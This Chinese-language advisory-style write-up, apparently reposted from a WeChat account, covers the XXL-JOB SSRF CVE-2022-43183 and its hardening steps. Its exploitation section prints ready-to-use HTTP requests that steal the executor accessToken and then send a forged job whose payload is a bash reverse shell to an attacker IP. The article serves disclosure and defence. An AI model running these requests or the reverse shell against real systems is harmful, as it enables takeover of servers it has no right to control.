-
组件介绍 -
原理与危害 -
影响版本 -
利用方式 -
加固措施 -
修改默认口令 -
限制端口访问 -
升级至安全版本
1. 组件介绍
XXL-JOB是一个分布式任务调度平台,分为调度中心和执行器两部分。
在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。
同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。
2. 原理与危害
调度中心后台用户查看执行器调度日志时,请求中会指定执行器的IP地址和端口号,让调度中心去该IP地址的执行器获取调度日志。
由于调度中心没有对该IP地址进行校验,因此用户可以指定任意IP地址,导致调度中心后台存在SSRF漏洞。
由于调度中心去执行器的IP地址获取调度日志时,携带了通信密钥accessToken,因此恶意用户可以将执行器的IP地址指定为他可控的HTTP服务器,从而窃取XXL-JOB的通信密钥。
这在恶意用户仅获取XXL-JOB调度中心的普通用户权限时会有价值。当普通权限的恶意用户没有任何执行器的权限,或者只有部分执行器的权限时,攻击者如果想要获取所有执行器的权限,
可以利用SSRF漏洞窃取accessToken,进而伪装成调度中心,与所有执行器进行调度通信,对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。
参考链接: https://github.com/xuxueli/xxl-job/issues/3002
3. 影响版本
该漏洞已在2.4.0版本修复,受影响版本是XXL-JOB <= 2.3.1
。
4. 利用方式
第一步:由于这是一个web管理后台的漏洞,因此首先需要通过弱口令、口令泄漏等方式,拿到XXL-JOB的帐号密码,并登录web管理后台,拿到Cookie。
第二步:利用SSRF漏洞,窃取XXL-JOB的accessToken。
POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1Host: 10.58.81.107:8083Content-Type: application/x-www-form-urlencoded; charset=UTF-8Cookie: xxljob_adminlte_settings=on; XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7dContent-Length: 99executorAddress=http%3A%2F%2F10.58.81.119%3A1234%2F&triggerTime=1745652569000&logId=2&fromLineNum=1
第三步:利用accessToken,伪装成调度中心与执行器进行调度通信,对执行器所在的服务器执行任意命令,从而获得执行器所在服务器的权限。
POST /run HTTP/1.1Host: 10.58.81.107:9999XXL-JOB-ACCESS-TOKEN: OneMoreThink666666Content-Length: 383{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1745646241, "glueType": "GLUE_SHELL", "glueSource": "bash -i >& /dev/tcp/10.58.81.119/8888 0>&1", "glueUpdatetime": 1745646241, "broadcastIndex": 0, "broadcastTotal": 0}
5. 加固措施
5.1 修改默认口令
点击右上角的欢迎 admin
,选择修改密码,修改后会退出登录。
请注意:登录密码不应超过18位,因为前端登录时会对密码进行截取。XXL-JOB >= 2.1.1
时前端无法改成超过18位的密码,但XXL-JOB < 2.1.1
时可以,导致修改密码后无法登录。
此时使用默认口令登录,提示帐号或密码错误,说明漏洞修复成功。
5.2 限制端口访问
在执行器所在的服务器中配置本地防火墙,只允许调度中心访问执行器的9999端口。
# 如果担心已有规则干扰,可将允许规则插入到链的顶部。# 即时调度中心和执行器在同一台服务器中,该命令不会影响调度中心对执行器的正常通信。iptables -I INPUT 1 -p tcp -s 10.58.81.107 --dport 9999 -j ACCEPT# 拒绝其他所有IP访问9999端口iptables -A INPUT -p tcp --dport 9999 -j DROP# 永久保存规则(CentOS中)yum install iptables-services -y && service iptables save && systemctl enable iptables
再次对执行器进行未授权任意代码执行,如果没有响应,连接失败,说明漏洞修复成功。
5.3 升级至安全版本
建议升级至2.4.1及以上版本。
原文始发于微信公众号(OneMoreThink):漏洞研究(8):XXL-JOB调度中心后台日志查看SSRF漏洞 CVE-2022-43183
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论